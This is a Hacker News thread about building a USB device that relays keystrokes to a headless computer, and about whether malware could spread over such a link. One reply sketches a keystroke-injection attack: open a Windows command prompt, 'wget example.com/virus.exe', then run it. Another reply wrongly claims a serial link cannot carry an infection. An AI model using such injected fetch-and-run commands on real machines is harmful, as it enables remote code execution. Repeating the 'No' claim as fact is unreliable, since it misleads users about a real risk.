←back to thread

20 points WorldDev | 5 comments | | HN request time: 0.84s | source

I want to build a little device that connects two computers together via usb, and send keystrokes from one to the other.

(I would use it to use a laptop keyboard on a headless computers).

I am looking for an easy solution, it does not have to be the cheapest.

ChatGPT points me to Arduino, but as far as I can see, there's no arduino with 2 usb ports. It also points me to Raspery pi zero, but that's a computer, not a microcontroller, so not sure if it's suitable.

If anyone with experience can give me some pointers, it would be greatly appreciated!

1. rpcope1 ◴[] No.45706588[source]
Easy way is probably two usb-serial dongles and a null modem, if you don't need huge amounts of throughput.
replies(2): >>45706677 #>>45707026 #
2. brudgers ◴[] No.45706677[source]
Two ethernet dongles would not require a special cable.
3. WorldDev ◴[] No.45707026[source]
Thanks for that, that's an interesting thought. I am trying to think about the security aspect. If the receiving device (mac mini) is infected with malware, can it infect the macBook through the serial port?
replies(2): >>45707451 #>>45707468 #
4. the__alchemist ◴[] No.45707451[source]
No. You're just sending bits down a wired connection.
5. vbezhenar ◴[] No.45707468[source]
Of course it can. You can send keystrokes something like <Win>+R, cmd, wget example.com/virus.exe <Enter> virus.exe <Enter> and Windows computer will download and execute this binary. That's example for Windows, but there's nothing preventing you from using similar technique for macOS.

The only security barrier that macOS implements against this kind of attack is, that you must manually confirm after you connected that "keyboard", for system to enable it.